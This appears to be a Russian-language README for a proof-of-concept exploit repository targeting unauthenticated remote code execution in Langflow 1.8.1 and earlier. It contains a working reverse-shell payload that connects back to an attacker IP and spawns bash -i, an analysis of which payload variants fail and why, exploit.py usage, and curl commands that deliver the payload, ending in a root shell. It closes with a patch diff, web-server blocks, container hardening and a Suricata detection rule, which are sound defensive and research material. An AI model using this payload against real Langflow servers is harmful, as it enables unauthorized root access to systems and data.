
PoC-эксплойт для неаутентифицированного RCE в Langflow <=1.8.1, включающий анализ первопричины на уровне исходного кода, reverse shell payload с учётом AST, Docker-лабораторию, diff патча и правила обнаружения.
Отказ от ответственности
Данный репозиторий создан в исследовательских и образовательных целях в области безопасности.
Используйте его только в изолированной лабораторной среде.
Использование против несанкционированных систем является нарушением Закона об информационных сетях и влечёт уголовную ответственность.
| Пункт | Описание |
|---|
| CVE ID | CVE-2026-33017 |
| Уязвимое ПО | Langflow (конструктор ИИ-воркфлоу) |
| Затронутые версии | Langflow ≤ 1.8.1 |
| Версия с исправлением | Langflow ≥ 1.9.0 |
| Тип уязвимости | Unauthenticated Remote Code Execution (RCE) |
| CWE | CWE-306 (Missing Authentication for Critical Function) |
| CVSS | 9.3 (Critical) |
| CISA KEV | Включено |
POST /api/v1/build_public_tmp/{flow_id}/flow
Эндпоинт предназначен для сборки публичных флоу и спроектирован так, что к нему можно обращаться без аутентификации.
Путь выполнения, установленный прямым прослеживанием исходного кода:
HTTP POST /api/v1/build_public_tmp/{flow_id}/flow
│
▼
langflow/api/v1/chat.py — build_public_tmp()
data = request.body["data"] ← 클라이언트 입력 그대로 수신 (취약점)
│
▼
langflow/api/build.py — start_flow_build()
data = FlowDataRequest ← 클라이언트 data 그대로 전달
│
▼
lfx/custom/eval.py — eval_custom_component_code()
class_name = validate.extract_class_name(code)
return validate.create_class(code, class_name)
│
▼
lfx/custom/validate.py — create_class()
module = ast.parse(code)
exec_globals = prepare_global_scope(module)
│
▼
lfx/custom/validate.py — prepare_global_scope()
exec(compiled_code, exec_globals) ← 임의 코드 실행
Функция prepare_global_scope() выполняет не все конструкции поданного кода.
После AST-разбора она отбирает и выполняет только узлы определённых типов:
# lfx/custom/validate.py — prepare_global_scope() 내부
for node in module.body:
if isinstance(node, ast.Import):
imports.append(node)
elif isinstance(node, ast.ImportFrom):
import_froms.append(node)
elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
definitions.append(node)
# ↑ Expr 노드는 어디에도 포함되지 않음 → 실행 안 됨
exec(compiled_code, exec_globals) # definitions만 실행
Выполняемые типы узлов AST:
| Тип узла AST | Пример | Выполняется |
|---|---|---|
FunctionDef | def _shell(): ... | ✅ Выполняется |
ClassDef | class ExploitComponent(Component) | ✅ Выполняется |
Assign | _r = os.system("id") | ✅ Выполняется |
AnnAssign | _r: int = os.system("id") | ✅ Выполняется |
Expr | os.system("id") (одиночный вызов) | ❌ Игнорируется |
Вывод: чтобы эксплойт выполнился, его необходимо оформить в виде
Assign(_r = ...). Простой вызов функции (os.system("id")) классифицируется как узелExprи отсеивается фильтром.
В ходе практической работы были опробованы разные варианты эксплойта; причина каждой неудачи установлена на уровне исходного кода.
subprocess.Popen + wait() (неудача)_s = socket.socket()
_s.connect(("attacker", 4444))
_proc = subprocess.Popen(["/bin/bash", "-i"], stdin=_s.fileno(), ...)
_proc.wait() # ← 여기서 블로킹
Причина неудачи: рабочий поток Langflow отслеживает возвращаемое значение компонента и по истечении тайм-аута принудительно закрывает сокет. Блокирующий вызов _proc.wait() теряет смысл.
os.execve() (неудача)os.dup2(_fd, 0); os.dup2(_fd, 1); os.dup2(_fd, 2)
os.execve("/bin/bash", ["/bin/bash", "-i"], os.environ.copy())
Причина неудачи: по правилам POSIX при вызове execve() в многопоточном процессе завершаются все потоки, кроме вызывающего → полный крах воркера uvicorn → HTTP 500.
os.fork() + execve() (неудача)_pid = os.fork()
if _pid == 0:
os.execve("/bin/bash", ...)
Причина неудачи: uvicorn расценивает дочерний процесс как аварийно завершившийся и перезапускает воркер → HTTP 500.
threading.Thread(daemon=True) (неудача)threading.Thread(target=_shell, daemon=True).start()
Причина неудачи: поток с daemon=True уничтожается вместе с завершением главного потока (воркера Langflow). Поток умирает ещё до попытки connect().
threading.Thread(daemon=False) + Assign# FunctionDef → 실행됨
def _shell():
_s = socket.socket()
_s.connect(("attacker_ip", 4444))
_p = subprocess.Popen(["/bin/bash", "-i"],
stdin=_s.fileno(), stdout=_s.fileno(), stderr=_s.fileno())
_p.wait()
_s.close()
# Assign → 실행됨 (Expr 단독 호출은 필터에서 제외되므로 반드시 변수 대입)
_t = threading.Thread(target=_shell, daemon=False)
_r = _t.start()
Причины выбора daemon=False:
daemon=True → уничтожается вместе с завершением рабочего потока Langflowdaemon=False → независимый от воркера жизненный цикл → сокетное соединение сохраняетсяCVE-2026-33017/
├── README.md
├── Dockerfile # 취약 Langflow 1.8.1 환경
├── Dockerfile.attacker # 공격자 컨테이너 (curl, nc, net-tools 포함)
├── docker-compose.yml # 취약 서버 + 공격자 컨테이너
├── entrypoint.sh # Langflow 기동 및 Public 플로우 자동 생성
├── exploit.py # 리버스 쉘 PoC
└── poc.py # Blind RCE / 취약점 존재 확인
# 1. 컨테이너 빌드 및 기동
docker compose up --build
# 2. Langflow Web UI 접속 확인
# http://localhost:7860
# admin / admin123!
# 3. 컨테이너 IP 확인
docker inspect langflow-vuln-lab | grep '"IPAddress"'
docker inspect langflow-attacker | grep '"IPAddress"'
┌──────────────────────────────────────────────────┐
│ Docker Bridge Network: poc-net │
│ │
│ langflow-vuln-lab 172.19.0.2:7860 (피해자) │
│ langflow-attacker 172.19.0.3 (공격자) │
└──────────────────────────────────────────────────┘
Запуск в контейнере атакующего:
docker exec -it langflow-attacker bash
# 자동 모드 (토큰 발급 + Public 플로우 생성 + 내장 리스너 포함)
python3 exploit.py \
--url http://172.19.0.2:7860 \
--lhost 172.19.0.3 \
--lport 4444
Опции:
| Опция | Описание | По умолчанию |
|---|---|---|
--url | URL целевого Langflow | Обязательно |
--lhost | IP обратного вызова reverse shell | Обязательно |
--lport | Порт обратного вызова reverse shell | Обязательно |
--flow-id | UUID Public флоу (если опущен — создаётся автоматически) | Автоматически |
--user | ID администратора | admin |
--password | Пароль администратора | admin123! |
--no-listen | Отключить встроенный слушатель (при использовании внешнего nc) | False |
--timeout | Тайм-аут HTTP (сек) | 30 |
Ожидаемый вывод:
============================================================
CVE-2026-33017 — Langflow Unauthenticated RCE PoC
============================================================
[*] 로그인 중... (admin)
[*] 토큰 발급 성공
[*] Public 플로우 생성 중...
[*] Flow ID : 3b88b6fa-ce95-4da8-894b-27b728ca4770
[*] 리스너 시작 → 0.0.0.0:4444
[*] 엔드포인트 : http://172.19.0.2:7860/api/v1/build_public_tmp/...
[*] 콜백 : 172.19.0.3:4444
[*] 페이로드 전송 중...
[*] HTTP 응답 : 200
[+] 쉘 연결됨 ← 172.19.0.2:XXXXX
────────────────────────────────────────────────────────────
bash-5.2# id
uid=0(root) gid=0(root) groups=0(root)
Используется, когда нужно лишь проверить наличие уязвимости:
python3 poc.py \
--url http://172.19.0.2:7860 \
--cmd "id"
# 1. 토큰 발급 + Public 플로우 생성
TOKEN=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/login' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'username=admin&password=admin123!' \
| sed -n 's/.*"access_token":"\([^"]*\)".*/\1/p') && \
FLOW_ID=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/flows/' \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"poc-flow","data":{"nodes":[],"edges":[],"viewport":{}},"is_component":false,"access_type":"PUBLIC"}' \
| python3 -c "import sys,json; d=json.load(sys.stdin); print(d['id'])") && \
curl -s -X PATCH "http://172.19.0.2:7860/api/v1/flows/${FLOW_ID}" \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"access_type":"PUBLIC"}' > /dev/null && \
echo "FLOW_ID: $FLOW_ID"
# 2. nc 리스너 (터미널 1)
nc -lvnp 4444
# 3. 페이로드 전송 (터미널 2)
curl -s -X POST "http://172.19.0.2:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \
-H 'Content-Type: application/json' \
-b 'client_id=poc-12345' \
-d @/tmp/payload.json
| Пункт | exploit.py | poc.py |
|---|---|---|
| Назначение | Получение reverse shell | Проверка наличия уязвимости (Blind RCE) |
| Проверка результата | Напрямую в терминале атакующего | Логи сервера / OOB |
| Слушатель | Встроенный | Не требуется |
| Несколько целей | Не поддерживается | Поддерживается (--url-file) |
| Назначение в лаборатории | Демонстрация воздействия | Доказательство наличия уязвимости |
langflow/api/v1/chat.py:
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
*,
flow_id: uuid.UUID,
data: FlowDataRequest | None = None, # ← 클라이언트 입력 수신
...
):
job_id = await start_flow_build(
flow_id=new_flow_id,
data=data, # ← 클라이언트 data 그대로 빌드 파이프라인에 전달
...
)
langflow/api/v1/chat.py (подтверждено непосредственно в исходном коде):
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
*,
flow_id: uuid.UUID,
# data 파라미터 시그니처에서 완전 제거
...
):
"""
Security Note:
- The 'data' parameter is NOT accepted to prevent flow definition tampering
- Public flows must execute the stored flow definition only
- The flow definition is always loaded from the database
"""
job_id = await start_flow_build(
flow_id=new_flow_id,
data=None, # ← 하드코딩 None, 클라이언트 입력 완전 차단
source_flow_id=flow_id, # ← DB에서만 플로우 정의 로드
...
)
| Пункт | 1.8.1 (уязвимый) | 1.9.1 (исправленный) |
|---|---|---|
Приём параметра data | ✅ Принимается | ❌ Удалён из сигнатуры |
| Выполнение определений узлов клиента | ✅ Возможно | ❌ Невозможно |
| Источник определения флоу | Тело запроса клиента | Только сохранённое в БД |
| RCE без аутентификации | ✅ Успешно | ❌ Заблокировано |
| HTTP-ответ | 200 + подключение к шеллу | 200 (пустая сборка, узлов нет) |
Почему корректно именно удаление самого параметра, а не простая проверка входных значений:
취약한 설계: 클라이언트 입력 → 검증 → 실행 (검증 우회 가능성 존재)
패치 설계: 클라이언트 입력 → 완전 무시
DB 저장 플로우만 → 실행 (공격 경로 자체 제거)
pip install langflow==1.9.1
Расположение файла: nginx.conf (создаётся заново)
server {
listen 80;
# CVE-2026-33017 취약 엔드포인트 차단
location ~ ^/api/v1/build_public_tmp/ {
deny all;
return 403;
}
location / {
proxy_pass http://langflow:7860;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
Внимание: для эффективности также нужно исключить прямое внешнее обращение к порту 7860 Langflow.
Расположение файла:
/etc/apache2/sites-available/langflow.conf/etc/httpd/conf.d/langflow.conf<Location "/api/v1/build_public_tmp/">
Require all denied
</Location>
Если Public флоу отсутствуют, эндпоинт возвращает 404, и атака невозможна. В рамках эксплуатационной политики запретите создание Public флоу либо переведите существующие флоу в режим PRIVATE.
Для окружения EC2:
Правила входящего трафика:
Порт 7860 → разрешить только авторизованные IP (убрать 0.0.0.0/0)
Блокировка внешнего обратного вызова, даже если RCE увенчалась успехом:
# langflow 컨테이너 아웃바운드 차단
iptables -I DOCKER-USER -s <langflow_container_ip> -j DROP
Или в docker-compose.yml:
langflow-vuln-lab:
sysctls:
- net.ipv4.ip_forward=0
langflow-vuln-lab:
security_opt:
- no-new-privileges:true
cap_drop:
- ALL
user: "1000:1000"
read_only: true
tmpfs:
- /tmp
Блокировка опасных системных вызовов с помощью seccomp-профиля (langflow-seccomp.json):
{
"defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [
{
"names": ["socket", "connect", "fork", "execve"],
"action": "SCMP_ACT_ERRNO"
}
]
}
security_opt:
- seccomp:./langflow-seccomp.json
| Мера | Тип | Эффект |
|---|---|---|
| Обновление до 1.9.1 | Устранение причины | Удаление параметра data |
| Блокировка Nginx/Apache | Блокировка доступа | Блокировка пути атаки |
| Отказ от Public флоу | Блокировка доступа | Эндпоинт возвращает 404 |
| AWS Security Group | Сетевая блокировка | Полное исключение внешнего доступа |
| Блокировка исходящего трафика | Пост-блокировка | Блокировка обратного вызова reverse shell |
| Ужесточение контейнера | Минимизация ущерба | Блокировка повышения привилегий/syscall |
Подозрительный HTTP-запрос:
POST /api/v1/build_public_tmp/*/flow
Content-Type: application/json
Body: {"data": {"nodes": [{"type": "CustomComponent", ...}]}}
Паттерны в логах сервера Langflow:
[warning] Graph has vertices but no edges
[warning] ExploitComponent returned None.
[error] Exception in worker process
alert http any any -> any 7860 (
msg:"CVE-2026-33017 Langflow RCE Attempt";
flow:established,to_server;
content:"POST"; http_method;
content:"/build_public_tmp/"; http_uri;
content:"CustomComponent"; http_client_body;
classtype:web-application-attack;
sid:2026033017; rev:1;
)
Данный репозиторий — не просто готовый к запуску PoC; на основе анализа на уровне исходного кода в нём дополнительно установлено следующее:
Обнаружена фильтрация AST-узлов
Непосредственным анализом исходного кода подтверждено, что prepare_global_scope() в lfx/custom/validate.py игнорирует узлы Expr. Тем самым установлена причина, по которой эксплойт в виде простого вызова функции из ранее опубликованных PoC не срабатывает в этом окружении.
Проанализированы причины неудач эксплойтов
Причины неудач четырёх способов — Popen+wait(), execve(), fork()+execve() и потока с daemon=True — проанализированы с точки зрения многопоточной архитектуры uvicorn и правил POSIX.
Непосредственно проверен исправленный код
В chat.py версии 1.9.1 на уровне исходного кода подтверждены жёстко заданный data=None и удаление параметра; проанализирован замысел, заложенный в проект исправления.